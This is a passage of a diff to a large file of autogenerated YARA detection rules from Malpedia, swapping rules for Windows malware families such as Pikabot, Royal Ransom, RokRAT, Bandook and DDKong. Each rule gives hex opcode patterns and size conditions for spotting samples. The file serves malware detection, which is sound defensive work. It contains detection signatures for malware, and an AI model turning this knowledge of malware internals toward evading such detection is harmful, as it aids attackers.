-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.yayih_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bandook"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bandook_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "d13e6780f7fe46f9387338ccdb35700eb9e8a8c2ac7c13f232d1064c9386ae55"
+		logic_hash = "d695c77bc8945b310c81d69b92952d60e6bda737f194777e74e4b6ebb23f8272"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -133437,32 +140539,32 @@ rule MALPEDIA_Win_Yayih_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 5f ff7508 ff55f4 53 ff15???????? 8bc7 }
-		$sequence_1 = { 68???????? e8???????? 8b35???????? 83c40c 50 57 }
-		$sequence_2 = { 50 56 e8???????? 59 85c0 59 753c }
-		$sequence_3 = { 85c0 59 7507 57 e8???????? 59 e8???????? }
-		$sequence_4 = { ff15???????? 56 6880000000 6a03 56 6a01 8d85b8b8ffff }
-		$sequence_5 = { 66ab aa 59 33c0 8dbde9faffff 889de8faffff f3ab }
-		$sequence_6 = { 3bfe 750a 56 56 56 6a08 }
-		$sequence_7 = { e8???????? 6801200000 8d85b8b8ffff 56 50 e8???????? }
-		$sequence_8 = { 50 8d854cf6ffff 50 e8???????? 83c430 8d459c 50 }
-		$sequence_9 = { 0fafca 0fb65002 03ca 890d???????? 0fb64803 69c960ea0000 }
+		$sequence_0 = { 68???????? ffd6 68???????? 6a01 6a00 ff15???????? 68e8030000 }
+		$sequence_1 = { 8b7c2410 8d442438 50 53 ff15???????? 85c0 0f8529ffffff }
+		$sequence_2 = { 8d95f8f3ffff 8bce 2bd6 0f1f00 8a01 8d4901 }
+		$sequence_3 = { ff15???????? ff35???????? ff15???????? 68???????? 68???????? 8d8424a8010000 68???????? }
+		$sequence_4 = { 8bf9 897da0 8b7308 8d4dbc 897d9c 6a24 68???????? }
+		$sequence_5 = { 83e103 f3a4 8d442428 50 53 ff15???????? 85c0 }
+		$sequence_6 = { 51 e8???????? 83c408 837dbc10 8d45a8 0f4345a8 50 }
+		$sequence_7 = { 88811744c213 84c0 75ed 0fb605???????? f30f7e05???????? a2???????? a1???????? }
+		$sequence_8 = { c705????????80381713 c705????????003a1713 c705????????c03f1713 c705????????80401713 c705????????c0491713 c705????????704b1713 c705????????30451713 }
+		$sequence_9 = { 83c40c 8d842498040000 6a64 50 6a07 6800040000 ff15???????? }
 
 	condition:
-		7 of them and filesize <57344
+		7 of them and filesize <23088128
 }
-rule MALPEDIA_Win_Pikabot_Auto : FILE
+rule MALPEDIA_Win_Ddkong_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "16fbebe5-029d-50d1-a8a8-9f8a45a24f27"
+		id = "0544faa5-2134-56f3-b2ce-99d63d7f2f59"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pikabot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pikabot_auto.yar#L1-L175"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ddkong"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ddkong_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "81c8e73356106864f0a8f72d23108459a17754dd4d587aefd7feb43e822dba1f"
+		logic_hash = "5c0b95ff5255c02a1d1a9b0883f78a353561d54588ac72196452124efb25472a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -133476,41 +140578,34 @@ rule MALPEDIA_Win_Pikabot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8945f8 8b4510 8945f4 8b4510 48 }
-		$sequence_1 = { 894510 837df400 741a 8b45fc 8b4df8 8a09 }
-		$sequence_2 = { 8b4df8 8a09 8808 8b45fc }
-		$sequence_3 = { 40 8945fc 8b45f8 40 8945f8 ebd3 8b4508 }
-		$sequence_4 = { 8945f8 ebd3 8b4508 c9 c3 55 }
-		$sequence_5 = { 83ec0c 8b4508 8945fc 8b450c 8945f8 8b4510 }
-		$sequence_6 = { 7ce9 8b4214 2b420c 5f }
-		$sequence_7 = { e8???????? ffd0 c9 c3 55 8bec }
-		$sequence_8 = { 8bfa 85c9 7436 85ff }
-		$sequence_9 = { 8b0cba 03ce e8???????? 8bd0 }
-		$sequence_10 = { 8a1c08 8d4320 0fb6c8 8d53bf 80fa19 }
-		$sequence_11 = { 40 8945fc 3bc7 72d5 }
-		$sequence_12 = { 55 8bec 83ec10 53 56 8b35???????? b84d5a0000 }
-		$sequence_13 = { e8???????? 8bd0 e8???????? 3b45fc }
-		$sequence_14 = { c3 56 8bf1 85c9 7419 85d2 7415 }
-		$sequence_15 = { 84c0 75f6 c60100 8bc6 5e }
-		$sequence_16 = { c9 c3 64a130000000 8b4018 c3 55 }
+		$sequence_0 = { c6459765 c6459857 c645996f c6459a77 c6459b36 c6459c34 c6459d46 }
+		$sequence_1 = { c68572ffffff62 c68573ffffff6a c68574ffffff65 c68575ffffff63 c68576ffffff74 889d77ffffff ffd7 }
+		$sequence_2 = { c645d36c c645d465 c645d54e c645d661 c645d76d c645d865 c645d941 }
+		$sequence_3 = { 5b 5d c20c00 ff25???????? ff25???????? 8b4c2404 85c9 }
+		$sequence_4 = { c645f470 ffd6 50 ffd7 8b5d0c bf04010000 }
+		$sequence_5 = { 6a04 e8???????? 83c418 eb2d 6a01 }
+		$sequence_6 = { 7427 837d08ff 7421 8d45dc 6a10 50 ff7508 }
+		$sequence_7 = { c6855affffff65 c6855bffffff4f c6855cffffff62 c6855dffffff6a c6855effffff65 }
+		$sequence_8 = { c6459763 c6459874 c6459969 c6459a76 c6459b65 c6459c43 c6459d6f }
+		$sequence_9 = { c68574ffffff65 c68575ffffff63 c68576ffffff74 889d77ffffff }
 
 	condition:
-		7 of them and filesize <1717248
+		7 of them and filesize <81920
 }
-rule MALPEDIA_Win_Grimagent_Auto : FILE
+rule MALPEDIA_Win_Synccrypt_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "228d515c-640e-56ca-8602-96023167bb1e"
+		id = "06111ba7-b1d3-5613-b1dc-5c5b2d1d9432"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grimagent"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.grimagent_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.synccrypt"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.synccrypt_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "96dca74317029a89173373ec308b352cf5e1c63ce0e2aa5c10efcec2082d0995"
+		logic_hash = "f349f89fd6eccd96b82f1ed169c1d5231d52d67328e2977c4a89bd9cc0fef158"
 		score = 75
-		quality = 75
+		quality = 45
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -133522,32 +140617,32 @@ rule MALPEDIA_Win_Grimagent_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 55 8bec 83ec18 c745f400000000 c745f800000000 c745e800000000 8b4508 }
-		$sequence_1 = { ebbe 8b550c 8955fc 8b450c 50 e8???????? }
-		$sequence_2 = { 0fb711 3bc2 7514 8b45ec 83c002 }
-		$sequence_3 = { 8b4dfc 0fb711 3bc2 7514 }
-		$sequence_4 = { 8b4508 50 e8???????? 83c404 3945f4 0f8394000000 8b4df0 }
-		$sequence_5 = { 0fb708 3bd1 7576 8b55f0 8955ec c745f800000000 eb09 }
-		$sequence_6 = { 83ec0c 8b450c 8945f8 c745fc00220400 8b4dfc }
-		$sequence_7 = { 8bec 8b4508 0fbe08 85c9 7426 8b5508 }
-		$sequence_8 = { c745e801000000 b801000000 eb1a 8b4df0 }
-		$sequence_9 = { 83c404 3945f8 750e c745e801000000 b801000000 }
+		$sequence_0 = { c744240477000000 c7042422000000 e8???????? e9???????? c7442410af000000 c744240c94195900 c74424087a000000 }
+		$sequence_1 = { ba01000000 89f8 e8???????? 85c0 8b4c242c 0f84aa000000 8b4714 }
+		$sequence_2 = { 892c24 e8???????? 892c24 89c7 e8???????? 85c0 7517 }
+		$sequence_3 = { c1e806 85c0 7523 897358 83c318 89742408 891c24 }
+		$sequence_4 = { e8???????? 85c0 74c8 8d442414 8974240c 895c2408 89442404 }
+		$sequence_5 = { e8???????? 85c0 0f8413010000 8d7804 89c1 c7406800000000 89c3 }
+		$sequence_6 = { f6400c01 7451 891c24 e8???????? 83c001 c744240897010000 c7442404???????? }
+		$sequence_7 = { c7442404???????? c7042402000000 a3???????? e8???????? c7442404???????? c704240b000000 a3???????? }
+		$sequence_8 = { e8???????? 893424 e8???????? 8b442430 890424 e8???????? 39c7 }
+		$sequence_9 = { 890424 8954240c e8???????? 3b6c2418 8d45fe 746e 8b570c }
 
 	condition:
-		7 of them and filesize <582656
+		7 of them and filesize <4489216
 }
-rule MALPEDIA_Win_Royal_Ransom_Auto : FILE
+rule MALPEDIA_Win_Fancyfilter_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "03d0866a-b258-5731-ad57-bc4b0e928885"
+		id = "80aed11c-235c-5a1c-926a-79da2aeef3b0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_ransom"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.royal_ransom_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fancyfilter"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fancyfilter_auto.yar#L1-L112"
 		license_url = "N/A"
-		logic_hash = "05d0adf9ccc7ed8f53f566dd8191bfd8d7450964340be8e2ce8cbced72447263"
+		logic_hash = "3c31ea55e7982b34390b9c81f5913450958243c449d75663ce6d5f15ca3bbd38"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -133561,32 +140656,32 @@ rule MALPEDIA_Win_Royal_Ransom_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 752f e8???????? 4c8d05d60c1400 ba8b010000 488d0d320c1400 e8???????? 4533c0 }
-		$sequence_1 = { e9???????? 2bc3 488d0d2df4dfff 488b8ce9d02c2d00 8064f93dfd f7d8 1ac0 }
-		$sequence_2 = { e8???????? 33c0 e9???????? 488b4820 e8???????? 85c0 0f8497020000 }
-		$sequence_3 = { e8???????? 488d4e24 448bc8 4c8d0579a80d00 ba09000000 e8???????? 488bcb }
-		$sequence_4 = { 8bc2 896c2444 418bfe 83fa02 7d3e e8???????? 4c8d05e7a90f00 }
-		$sequence_5 = { 488d1507b51300 41b893040000 e8???????? 41b894040000 488d15efb41300 488bcf e8???????? }
-		$sequence_6 = { e8???????? baa6000000 4c89742420 4c8bcd 4c8d05f3a80e00 8d4a93 e8???????? }
-		$sequence_7 = { 754a e8???????? 4c8d054e820d00 baa2000000 488d0df2810d00 e8???????? 4533c0 }
-		$sequence_8 = { b828000000 e8???????? 482be0 488d15fc4fffff 488d0d5de62000 e8???????? 33c9 }
-		$sequence_9 = { e8???????? 85c0 7437 488d05297a0000 4c89742430 4889442428 4c8d0d485c0e00 }
+		$sequence_0 = { 740a 66833800 7404 b001 eb02 }
+		$sequence_1 = { a1???????? 83c012 50 ff15???????? }
+		$sequence_2 = { 8b07 83e810 50 83c610 56 }
+		$sequence_3 = { ff15???????? 83c420 83f803 7409 83f806 }
+		$sequence_4 = { 83c012 50 ffd6 a1???????? }
+		$sequence_5 = { 85c0 750d 8b472c a801 7406 83c804 }
+		$sequence_6 = { 85c0 740a 66833800 7404 b001 eb02 }
+		$sequence_7 = { 81e3ffffff00 ff15???????? 50 ff15???????? }
+		$sequence_8 = { 85c0 740a 66833800 7404 b001 }
+		$sequence_9 = { b805400080 c20400 56 8b742408 }
 
 	condition:
-		7 of them and filesize <6235136
+		7 of them and filesize <169984
 }
-rule MALPEDIA_Win_Odinaff_Auto : FILE
+rule MALPEDIA_Win_Badencript_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c28375cd-e1a8-5dbb-b117-119bc2a2a6cd"
+		id = "14e6e038-56f2-594e-a7b6-4f5872213cea"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.odinaff"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.odinaff_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badencript"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.badencript_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "de88658965024bda0c5434053043d1a37aa258e92b5fc7491f70abd6c372a45d"
+		logic_hash = "2996c0cacc073d062d9370be45e59795727eb489c538600d3d982f614b0ed8f2"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -133600,32 +140695,32 @@ rule MALPEDIA_Win_Odinaff_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 3d1f040000 7505 bf01000000 }
-		$sequence_1 = { 740c 57 6a00 ffd3 50 ff15???????? 6a00 }
-		$sequence_2 = { 6a08 33ff 57 57 ff15???????? }
-		$sequence_3 = { 8bd8 ff15???????? 53 6a00 6a00 56 ff15???????? }
-		$sequence_4 = { 49 81c900ffffff 41 8a8138474000 }
-		$sequence_5 = { 8b1d???????? 83c40c 6820bf0200 56 ffd3 b900000800 2bc8 }
-		$sequence_6 = { c745dc01000000 e8???????? 6a44 8d4580 53 50 e8???????? }
-		$sequence_7 = { 7508 ff15???????? eb7b 6a04 }
-		$sequence_8 = { e8???????? 8b45f8 83c410 85c0 7408 50 6a00 }
-		$sequence_9 = { 8b4d0c 6a00 6880000000 6a02 }
+		$sequence_0 = { 8bfe a1???????? 897de0 394508 7c1f 3934bd48414100 }
+		$sequence_1 = { 8a07 8b0c9548414100 8844192e 8b049548414100 }
+		$sequence_2 = { 6af6 ff15???????? 8b04bd48414100 834c0318ff 33c0 eb16 e8???????? }
+		$sequence_3 = { 53 ffd7 83ee01 75eb 8b4dfc 33c0 }
+		$sequence_4 = { 8b049d48414100 8945d4 8955e8 8a5c1029 80fb02 7405 80fb01 }
+		$sequence_5 = { 660fd60f 8d7f08 8b048d04b54000 ffe0 f7c703000000 }
+		$sequence_6 = { 8b049548414100 f644082801 740b 56 e8???????? 59 }
+		$sequence_7 = { 0f859b010000 c745e0980f4100 8b4508 8bcf 8b7510 c745dc01000000 dd00 }
+		$sequence_8 = { 58 6bc000 c7809439410002000000 6a04 }
+		$sequence_9 = { 50 8b04bd48414100 ff743018 ff15???????? 85c0 0f95c0 5f }
 
 	condition:
-		7 of them and filesize <73728
+		7 of them and filesize <335872
 }
-rule MALPEDIA_Win_Nestegg_Auto : FILE
+rule MALPEDIA_Win_Mindware_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "01b2e0f8-b92c-591f-a2fe-591e7cf3b6b4"
+		id = "205d25dc-9d1d-5cfe-9a1e-fc1d20bf21d6"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nestegg"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nestegg_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mindware"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mindware_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "d01d8400ee78b6e2d5585ed1b0eb91726b08169614c693b823bb545acd7b28b3"
+		logic_hash = "0229e104e7ced878ae1d5a8dad7ae14c8a1e11edebe2196883325f14972bfdf1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -133639,32 +140734,32 @@ rule MALPEDIA_Win_Nestegg_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 8d5710 6a02 52 8bce e8???????? }
-		$sequence_1 = { 83c40c 83feff 7417 ffd7 }
-		$sequence_2 = { 8b0d???????? 81c120030000 51 ff15???????? 8b0d???????? 39991c030000 }
-		$sequence_3 = { 83f80e 0f84d8000000 83f80f 7520 8d4c2430 56 }
-		$sequence_4 = { 56 8bf1 89742404 c706???????? 8b8e24030000 c744241000000000 }
-		$sequence_5 = { 85c9 740c 8a09 83e107 8d14c1 89542410 }
-		$sequence_6 = { 8b10 6a10 51 8bc8 885c2458 ff5214 }
-		$sequence_7 = { c644242f6e c644243065 c644243233 884c2433 885c2434 88542435 }
-		$sequence_8 = { c644240d73 884c240e c644240f5f c644241033 }
-		$sequence_9 = { e8???????? 8d4c2410 6a04 51 8bce c7442418ff020001 e8???????? }
+		$sequence_0 = { 50 ff15???????? 8dbd48ffffff 32c0 b980000000 f3aa }
+		$sequence_1 = { c78530e9ffffeccc4300 c78534e9fffff4cc4300 c78538e9ffff0ccd4300 c7853ce9ffff18cd4300 c78540e9ffff38cd4300 c78544e9ffff40cd4300 c78548e9ffff4ccd4300 }
+		$sequence_2 = { c7857cf4ffff24e94300 c78580f4ffff38e94300 c78584f4ffff40e94300 c78588f4ffff48e94300 c7858cf4ffff58e94300 }
+		$sequence_3 = { c1e910 335808 0fb6c9 895df4 33148df0d04400 }
+		$sequence_4 = { 894dfc 89482c c1e918 897028 0fb699f0d84400 8b4dfc c1e910 }
+		$sequence_5 = { 0fb6c9 33148dc0c84400 335004 8b4dfc c1e908 8955e8 0fb6d1 }
+		$sequence_6 = { 8bec 837d0c00 764c e8???????? 0fb6c0 85c0 }
+		$sequence_7 = { 6a00 8b856cffffff 50 8b8d68ffffff 51 8b55bc 52 }
+		$sequence_8 = { c78530e6ffff5cc54300 c78534e6ffff68c54300 c78538e6ffff70c54300 c7853ce6ffff78c54300 c78540e6ffff88c54300 c78544e6ffff90c54300 c78548e6ffffa0c54300 }
+		$sequence_9 = { 33d2 034dc8 1355cc 894dc8 8955cc e9???????? 8b45dc }
 
 	condition:
-		7 of them and filesize <221184
+		7 of them and filesize <661504
 }
-rule MALPEDIA_Win_New_Ct_Auto : FILE
+rule MALPEDIA_Win_Parasite_Http_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d2add3a1-140a-5bb8-b61a-9a3c6a02e7fc"
+		id = "8396c4fe-e904-583d-8bc2-2a1b61b79bee"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.new_ct"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.new_ct_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.parasite_http"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.parasite_http_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "d5abc4cf0e59662bf031f834b2da1a42e3067fae0164acdda49916fdb832ef21"
+		logic_hash = "37851542b45d72ed626359d2a060741c909807319056a1d140e5557e76485a87"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -133678,32 +140773,32 @@ rule MALPEDIA_Win_New_Ct_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 894304 7532 8bfe 83c9ff 33c0 f2ae f7d1 }
-		$sequence_1 = { 7472 3c42 746e 33c0 }
-		$sequence_2 = { 81ec00040000 53 56 6888030000 33db }
-		$sequence_3 = { 7605 b800000100 8b742418 03c7 8d8c24bc070000 8d44301c }
-		$sequence_4 = { c644240537 c644240679 c6442407b9 7627 }
-		$sequence_5 = { 8bcd 8933 2bce c6043e00 49 33c0 }
-		$sequence_6 = { 50 6a00 6a00 68???????? 6a00 68???????? ff15???????? }
-		$sequence_7 = { 33c0 8dbc24bd070000 c68424bc07000000 c68424bc0f000000 f3ab 66ab aa }
-		$sequence_8 = { 740d 8d942414020000 52 ffd0 83c404 5f 5e }
-		$sequence_9 = { 8bbc245c040000 c1e902 f3a5 8bc8 83e103 f3a4 }
+		$sequence_0 = { 57 b900040000 e8???????? 8bf8 85ff 0f848a000000 56 }
+		$sequence_1 = { 50 33c0 895dfc 53 53 }
+		$sequence_2 = { 884df2 8d4dbc 66895dbe 668955c0 66895dc4 668945ce 66c745ec5669 }
+		$sequence_3 = { e8???????? 59 85db 7407 8bcb e8???????? 8b45f0 }
+		$sequence_4 = { 6a36 6689460a 58 6a34 6689460e 58 57 }
+		$sequence_5 = { e8???????? b9???????? 8bd8 e8???????? 33d2 8bcb }
+		$sequence_6 = { 57 8bf9 b9???????? e8???????? b9???????? 8bf0 e8???????? }
+		$sequence_7 = { 57 e8???????? 03c6 50 52 }
+		$sequence_8 = { 740f 8d4dfc 51 51 51 50 }
+		$sequence_9 = { 53 ffd0 8bcf e8???????? 8bce e8???????? 8bcb }
 
 	condition:
-		7 of them and filesize <122880
+		7 of them and filesize <147456
 }
-rule MALPEDIA_Win_Hermeticwizard_Auto : FILE
+rule MALPEDIA_Win_Cheesetray_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "726bd88f-010b-5502-8637-f9d7bbeebd06"
+		id = "eb62b85d-8cb5-5c93-9081-d14aeb9fbc65"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermeticwizard"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hermeticwizard_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cheesetray"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cheesetray_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "42607a1b485bdd595d314b574245aeda955efc5b6dd3f18356065a03173a4530"
+		logic_hash = "191172cf0a118bdd8e29d678be92e505a1f63a7f2bef651373f2b7d4a4b3676d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -133717,32 +140812,32 @@ rule MALPEDIA_Win_Hermeticwizard_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b4608 3b4208 eb31 83f803 7531 8d4a04 8d4604 }
-		$sequence_1 = { 33c9 66897dca 6800080000 50 }
-		$sequence_2 = { 8b35???????? ffd6 ff75e8 ffd6 5e 8b4508 5f }
-		$sequence_3 = { 6bc930 53 8b5d10 8b0485c0dd0110 56 }
-		$sequence_4 = { 6689854cffffff 6689854effffff 66898554ffffff 6689855effffff 66898d58ffffff 66898d5affffff 59 }
-		$sequence_5 = { 8d4608 50 8d4908 e8???????? }
-		$sequence_6 = { 6a02 58 668945e8 8b4104 }
-		$sequence_7 = { c3 837d08ff 0f8401070000 e9???????? e9???????? 55 8bec }
-		$sequence_8 = { ff15???????? 83f87a 7567 ff75fc 6a08 ff15???????? 50 }
-		$sequence_9 = { ff15???????? 85c0 7504 b001 eb3a 57 56 }
+		$sequence_0 = { 66898424c4000000 e8???????? 8b4d08 83c40c 51 8d54240c 33c0 }
+		$sequence_1 = { c20c00 397368 740e 56 e8???????? 83c404 83f8ff }
+		$sequence_2 = { 03cf 8988bc160000 8b3cb5f0234400 8b5d08 85ff 0f8487fdffff 2b14b5282d4400 }
+		$sequence_3 = { 8bf8 85ff 745d 0fb755f0 8b45ec 52 50 }
+		$sequence_4 = { e8???????? 8b442434 3bc7 7403 50 ffd6 }
+		$sequence_5 = { 8d0c00 8d442428 50 52 e8???????? 83c408 894608 }
+		$sequence_6 = { 8bda c1eb18 33049da02d4400 81e2ff000000 330495a0394400 83c120 3341f8 }
+		$sequence_7 = { 8b4dfc 5f 5e a3???????? 890d???????? b801000000 5b }
+		$sequence_8 = { e8???????? 8b45f8 83c40c 53 53 8d4dec 51 }
+		$sequence_9 = { 83c410 33c0 5f 66398500ffffff 740c 40 6683bc4500ffffff00 }
 
 	condition:
-		7 of them and filesize <263168
+		7 of them and filesize <8626176
 }
-rule MALPEDIA_Win_Rokrat_Auto : FILE
+rule MALPEDIA_Win_Unidentified_076_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "529b23ea-5ccb-5314-a032-246562122609"
+		id = "c76f9b8e-5a48-5b08-ae0b-831af19ce579"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rokrat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rokrat_auto.yar#L1-L152"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_076"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_076_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "99c55c71740e0234c84ec3f4624ede5be8b8eb4baac41c4a1538d8db05d1af41"
+		logic_hash = "afb3d60b25322ebd0dc1ef4a0c20812c54fa6c9c843b7734da080ace48ec2894"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -133756,38 +140851,32 @@ rule MALPEDIA_Win_Rokrat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 e8???????? 6a04 33c0 }
-		$sequence_1 = { 50 8bcf e8???????? 8d4538 3bd8 }
-		$sequence_2 = { 50 0fb74208 c1e910 51 50 }
-		$sequence_3 = { 50 8bcb e8???????? 8d4550 }
-		$sequence_4 = { 50 e8???????? 8d8edc000000 8d4520 }
-		$sequence_5 = { 56 8d4dc0 c745d000000000 668945c0 e8???????? c645fc03 8b45bc }
-		$sequence_6 = { 50 ff15???????? e8???????? 40 }
-		$sequence_7 = { 51 50 0fb74212 50 }
-		$sequence_8 = { 770a 68???????? e8???????? 837e1408 }
-		$sequence_9 = { ff15???????? 50 e8???????? 59 6a64 }
-		$sequence_10 = { 897dfc e8???????? 68???????? 8d4dd8 }
-		$sequence_11 = { c145f41e 8b5dfc 8db4339979825a 8975fc }
-		$sequence_12 = { c145f01e 8db4339979825a 8975f4 8b772c }
-		$sequence_13 = { c145f41e 8d9c3bd6c162ca 8b792c 337924 }
-		$sequence_14 = { c145f41e 8d8c0bdcbc1b8f 894dfc 8bca }
-		$sequence_15 = { c145f41e 8d9c1fd6c162ca 8b793c 337930 }
+		$sequence_0 = { 488b5370 488d4520 488bcb 4889442420 e8???????? 8bc8 eb7c }
+		$sequence_1 = { 747b 8d5620 448bce 448bc5 33c9 ff97f8000000 48898748020000 }
+		$sequence_2 = { 488bcf ff9080000000 33d2 33c9 4c63c0 85c0 7e29 }
+		$sequence_3 = { 48894178 488b8f80000000 488b4618 48034f50 48898880000000 488b8f90000000 488b4618 }
+		$sequence_4 = { 458d6502 448bc7 488bce 4489642428 89442420 e8???????? 85c0 }
+		$sequence_5 = { 488d8d40150000 e8???????? 488d1587720000 488d8d14090000 8985d4000000 488d05c3130000 c7853001000000080000 }
+		$sequence_6 = { 4533c9 488bcf 448d420c 48895c2420 e8???????? eb05 bb01000000 }
+		$sequence_7 = { 7f0b 41b907000000 e9???????? 488b83c8000000 488b9360020000 488d8b5c060000 ff90f0070000 }
+		$sequence_8 = { 89442420 e8???????? eb56 83f801 7529 8b8714120000 448b8f10120000 }
+		$sequence_9 = { 415e 415c c3 817d0c08020000 7c05 458bcc eba2 }
 
 	condition:
-		7 of them and filesize <2932736
+		7 of them and filesize <114688
 }
-rule MALPEDIA_Win_Bagle_Auto : FILE
+rule MALPEDIA_Win_Heloag_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "df34f7e5-e23a-57ca-9057-158d47df6a58"
+		id = "ef07a0f3-faff-581a-a00e-f3d94c2f2e27"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bagle"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bagle_auto.yar#L1-L121"
